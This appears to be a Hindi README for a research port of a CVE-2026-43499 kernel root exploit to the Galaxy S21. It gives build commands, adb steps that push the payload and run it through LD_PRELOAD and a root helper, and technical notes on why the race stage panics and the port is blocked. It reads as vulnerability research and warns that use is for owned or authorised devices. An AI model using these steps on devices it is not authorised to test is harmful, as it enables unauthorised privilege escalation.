IonStack_S21 — Galaxy S21 (SM-G991B) के लिए CVE-2026-43499 एक्सप्लॉइट पोर्ट

फर्मवेयर G991BXXSJHZC2 पर Samsung Galaxy S21 (o1s) के लिए डिवाइस-विशिष्ट IonStack पेलोड। LD_PRELOAD एक्सप्लॉइट + call_usermodehelper रूट-हेल्पर डेमॉन के माध्यम से अस्थिर रूट देता है (IonStack-S22U / IONSTACK-S22 के समान स्वरूप)। स्थिति: शोध — अवरुद्ध, RESEARCH.md देखें।

NebuSec/CyberMeowfia (अपस्ट्रीम b850d3bddc74c3328d5fbcc0568d21962b55d949) में प्रकाशित IonStack CVE-2026-43499 कार्यान्वयन और BuSung-dev/CVE-2026-43499-S25U पर आधारित, F-19-F/IonStackQuest3 को धन्यवाद। अपस्ट्रीम Apache License 2.0 LICENSE में बरकरार (NOTICE देखें)।

लेआउट

Makefile                  build (NDK r27+, ANDROID_NDK_HOME)
src/                      exploit source (o1s profile only)
src/targets/o1s-G991BXXSJHZC2/  target.h + p0_fingerprint.h
src/kernelsnitch/         mm_struct leak (futex hash collision)
tools/                    p0 fingerprint helper
RESEARCH.md               research notes (geometry, verdicts)

बिल्ड

export ANDROID_NDK_HOME=/path/to/android-ndk
make clean all
# SLIDE_WRITER_SEL=1|2|3 selects mcast/sigreturn(default)/xattr writers.
# Unset selects the experimental pselect writer (see RESEARCH.md).

आउटपुट (build/o1s-G991BXXSJHZC2/): cve-2026-43499 (LD_PRELOAD पेलोड), cve-2026-43499-app.so (ऐप पेलोड), cve-2026-43499-root (रूट हेल्पर)।

डिप्लॉय और रन

adb push build/o1s-G991BXXSJHZC2/cve-2026-43499 /data/local/tmp/cve-2026-43499
adb push build/o1s-G991BXXSJHZC2/cve-2026-43499-root /data/local/tmp/cve-2026-43499-root
adb shell chmod 755 /data/local/tmp/cve-2026-43499 /data/local/tmp/cve-2026-43499-root
adb shell "LD_PRELOAD=/data/local/tmp/cve-2026-43499 sh"
# on success:
/adb shell "/data/local/tmp/cve-2026-43499-root -c 'id; getenforce'"

रूट (यदि प्राप्त हो) केवल रीबूट तक रहता है; कुछ भी फ्लैश नहीं किया जाता।

स्थिति / चेतावनियाँ

• अवरुद्ध, प्रमाणों के साथ पार्क किया गया — पूरा विवरण RESEARCH.md में देखें। रेस स्टेज कर्नेल को पैनिक कर देता है (sched_setattr → rt_mutex_adjust_prio_chain → _raw_spin_trylock NULL फ़ॉल्ट) बिना कभी स्टैम्प लैंड किए: 8-बाइट lock फ़ील्ड एक कॉपी-गैप में बैठता है जिसे कोई भी सर्वेक्षित ब्लॉकिंग सिसकॉल कवर नहीं करता (RESEARCH.md में प्रति-सिसकॉल डिसअसेंबली-सत्यापित गहराई मैप)। पाइप-रीक्लेम गेट व्यवस्थित रूप से चूकता है (0/0)।
• समय-संवेदनशील; कर्नेल पैनिक की अपेक्षा करें। साफ़ स्लैब के लिए रीबूट करें, चलाते समय डिवाइस को निष्क्रिय रखें। /data/local/tmp रीबूट पर मिट जाता है — हर बूट के बाद बाइनरीज़ को फिर से पुश करें।
• केवल उन डिवाइसों पर उपयोग करें जिनके आप स्वामी हैं या जिन्हें परीक्षण के लिए स्पष्ट रूप से अधिकृत किया गया है।